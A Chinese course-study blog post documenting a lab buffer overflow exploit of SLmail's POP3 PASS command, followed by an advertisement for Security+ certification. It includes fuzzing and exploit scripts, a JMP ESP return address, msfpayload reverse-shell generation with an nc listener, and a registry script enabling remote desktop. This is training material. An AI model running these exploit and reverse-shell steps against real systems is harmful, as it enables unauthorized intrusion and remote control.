1. 程式人生 > >【安全牛學習筆記】緩沖區溢出

【安全牛學習筆記】緩沖區溢出

security+ 信息安全 linux

數據與代碼邊界不清,導致程序執行代碼

腳本:

#! /bin/bash

echo $1

在終端中運行腳本,參數寫;或|加上命令,會被系統執行

源碼審計

逆向工程 對編譯後的文件反匯編

模糊測試 安裝包,對程序發送數值,監視反饋

SLmail 安裝後開放110,25,180,8376端口

Xp上添加smtp的25端口,pop3的110端口

DEP:阻止代碼從數據頁被執行

ASLR:隨機內存地址加載執行程序和DLL,每次重啟地址變化

腳本框架:

#! /usr/bin/python

import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

print "\nSending evil buffer------"

s.connect((‘192.168.1.107‘,110))

data=s.recv(1024)

print data

s.send(‘USER IEUser‘ + ‘\r\n‘)

data=s.recv(1024)

print data

s.send(‘PASS test\r\n‘)

data=s.recv(1024)

print data

s.close()

print"\nDone!"

except:

print"Can‘t connect to POP3!"

溢出探測腳本(發送大數據驗證):

#! /usr/bin/python

import socket

buffer=["A"]

counter=100

while len(buffer) <= 50:

buffer.append("A"*counter)

counter=counter+200

for string in buffer:

print"Fuzzing PASS with %s bytes " % len(string)

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((‘192.168.1.107‘,110))

s.recv(1024)

s.send(‘USER IEUser‘ + ‘\r\n‘)

s.recv(1024)

s.send(‘PASS ‘+ string + ‘\r\n‘)

s.send(‘QUIT\r\n‘)

s.close()

EIP寄存器:下一條指令要執行的地址

內存高位存低地址,低位存高地址,如(內存38443950則為50 39 44 38)

SLmail的PASS命令存在緩沖區溢出漏洞

技術分享

需要找到精確溢出的 4 個字節

二分法

腳本:

#! /usr/bin/python

import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

buffer=‘A‘*2700

try:

print "\nSending evil buffer------"

s.connect((‘192.168.1.107‘,110))

data=s.recv(1024)

s.send(‘USER IEUser‘ + ‘\r\n‘)

data=s.recv(1024)

s.send(‘PASS ‘ + buffer + ‘\r\n‘)

data=s.recv(1024)

s.close()

print"\nDone!"

except:

print"Can‘t connect to POP3!"

唯一字串法

usr/share/metasploit-framework/tools/exploit/pattern_create.rb 2700 (msf框架裏的腳本,生成2700長度的唯一字符串)

pattern_offset.rb 十六進制串 計算對應串在唯一字符串中的偏移量

技術分享

可從2607開始填進攻擊代碼

修改EIP寄存器為ESP地址,ESP寄存器中存放攻擊代碼

腳本(計算ESP寄存器大小):

#! /usr/bin/python

import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

buffer=‘A‘*2606+‘B‘*4+‘C‘*400

try:

print "\nSending evil buffer------"

s.connect((‘192.168.1.107‘,110))

data=s.recv(1024)

s.send(‘USER IEUser‘ + ‘\r\n‘)

data=s.recv(1024)

s.send(‘PASS ‘ + buffer + ‘\r\n‘)

s.close()

print"\nDone!"

except:

print"Can‘t connect to POP3!"技術分享

通過地址計算ESP寄存器大小

思路:

將 EIP 修改為shellcode代碼的內存地址,將Shellcode寫入到該地址空間,程序讀取 EIP 寄存器數值,將跳轉到 shellcode 代碼段並執行;

不同類型的程序、協議、漏洞,會將某些字符認為是壞字符,這些字符有固定用途

返回地址、Shellcode、buffer中都不能出現壞字符

255個字符,\x01~\xf1,\x02~\xf2,\x03~\xf3…..\x0f~\xff,\x00~\xf0

null byte (0x00) 空字符,用於終止字符串的拷貝操作

return (0x0D) 回車操作,表示POP3 PASS 命令輸入完成

思路:發送0x00 —— 0xff 256個字符,查找所有壞字符

重定向數據流

用 ESP 的地址替換 EIP 的值

但是 ESP 地址變化,硬編碼不可行

SLMail 線程應用程序,操作系統為每個線程分配一段地址範圍,每個線程地址範圍不確定

變通思路

在內存中尋找地址固定的系統模塊

在模塊中尋找 JMP ESP 指令的地址跳轉,再由該指令間接跳轉到 ESP,從而執行shellcode

mona.py 腳本識別內存模塊,搜索“return address”是JMP ESP指令的模塊

尋找無DEP、ALSR保護的內存地址

內存地址不包含壞字符

要找到沒有保護機制而且系統自帶的

尋找不受保護的系統模塊 !mona modules

將匯編指令 jmp esp 轉換為二進制

./nasm_shell

FFE4

在模塊中搜索 FFE4 指令

!mona find -s “\xff\xe4” -m slmfc.dll

選擇不包含壞字符的內存地址

在該地址設置斷點

重發buffer技術分享

用kali的工具將二進制指令轉換成二進制:技術分享

FFE4

技術分享

技術分享

必須要有可執行權限來繞過DEP防護

5F4B41E3

腳本:

#! /usr/bin/python

import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

buffer=‘A‘*2606+‘\xe3\x41\x4b\x5f‘+‘C‘*390

try:

print "\nSending evil buffer------"

s.connect((‘192.168.1.107‘,110))

data=s.recv(1024)

s.send(‘USER IEUser‘ + ‘\r\n‘)

data=s.recv(1024)

s.send(‘PASS ‘ + buffer + ‘\r\n‘)

s.close()

print"\nDone!"

except:

print"Can‘t connect to POP3!"

技術分享

現跳轉

生成shellcode

Scratch

./msfpayload -l

./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C

./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b “\x00\x0a\x0d” 對程序編碼,去掉壞字符,編碼R時必須要用R

nc-vlp 443 監聽444端口技術分享技術分享

buffer=‘A‘*2606+‘\xe3\x41\x4b\x5f‘+‘\x90‘*8+shellcode \x90表示什麽也不做,防止shellcode前面幾個字符被過濾

技術分享

已經getshell

Slmail是一個基於線程的應用,適用ExitThread方式可以避免整個服務崩潰,可實現重復溢出;./msfpayload win32_reverse LHOST=192.168.20.8 EXITFUNC=thread LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”

獲取遠程桌面控制權:

echo Windows Registry Editor Version 5.00>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg

echo "fDenyTSConnections"=dword:00000000>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

regedit /s 3389.reg

shutdown -r -t 0 重啟電腦

重啟後允許遠程桌面設置被打開

kali安裝rdesktop後,執行rdesktop 192.168.1.107

regsnap工具可以將註冊表快照,修改註冊表後再抓取快照,可判斷註冊表鍵值位置

該筆記為安全牛課堂學員筆記,想看此課程或者信息安全類幹貨可以移步到安全牛課堂

Security+認證為什麽是互聯網+時代最火爆的認證?


牛妹先給大家介紹一下Security+


Security+ 認證是一種中立第三方認證,其發證機構為美國計算機行業協會CompTIA ;是和CISSP、ITIL 等共同包含在內的國際 IT 業 10 大熱門認證之一,和CISSP偏重信息安全管理相比,Security+ 認證更偏重信息安全技術和操作。

通過該認證證明了您具備網絡安全,合規性和操作安全,威脅和漏洞,應用程序、數據和主機安全,訪問控制和身份管理以及加密技術等方面的能力。因其考試難度不易,含金量較高,目前已被全球企業和安全專業人士所普遍采納。

Security+認證如此火爆的原因?

原因一:在所有信息安全認證當中,偏重信息安全技術的認證是空白的, Security+認證正好可以彌補信息安全技術領域的空白 。

目前行業內受認可的信息安全認證主要有CISP和CISSP,但是無論CISP還是CISSP都是偏重信息安全管理的,技術知識講的寬泛且淺顯,考試都是一帶而過。而且CISSP要求持證人員的信息安全工作經驗都要5年以上,CISP也要求大專學歷4年以上工作經驗,這些要求無疑把有能力且上進的年輕人的持證之路堵住。在現實社會中,無論是找工作還是升職加薪,或是投標時候報人員,認證都是必不可少的,這給年輕人帶來了很多不公平。而Security+的出現可以掃清這些年輕人職業發展中的障礙,由於Security+偏重信息安全技術,所以對工作經驗沒有特別的要求。只要你有IT相關背景,追求進步就可以學習和考試。

原因二: IT運維人員工作與翻身的利器。

在銀行、證券、保險、信息通訊等行業,IT運維人員非常多,IT運維涉及的工作面也非常廣。是一個集網絡、系統、安全、應用架構、存儲為一體的綜合性技術崗。雖然沒有程序猿們“生當做光棍,死亦寫代碼”的悲壯,但也有著“鋤禾日當午,不如運維苦“的感慨。天天對著電腦和機器,時間長了難免有對於職業發展的迷茫和困惑。Security+國際認證的出現可以讓有追求的IT運維人員學習網絡安全知識,掌握網絡安全實踐。職業發展朝著網絡安全的方向發展,解決國內信息安全人才的匱乏問題。另外,即使不轉型,要做好運維工作,學習安全知識取得安全認證也是必不可少的。

原因三:接地氣、國際範兒、考試方便、費用適中!

CompTIA作為全球ICT領域最具影響力的全球領先機構,在信息安全人才認證方面是專業、公平、公正的。Security+認證偏重操作且和一線工程師的日常工作息息相關。適合銀行、證券、保險、互聯網公司等IT相關人員學習。作為國際認證在全球147個國家受到廣泛的認可。

在目前的信息安全大潮之下,人才是信息安全發展的關鍵。而目前國內的信息安全人才是非常匱乏的,相信Security+認證一定會成為最火爆的信息安全認證。


本文出自 “11662938” 博客,請務必保留此出處http://11672938.blog.51cto.com/11662938/1977269

【安全牛學習筆記】緩沖區溢出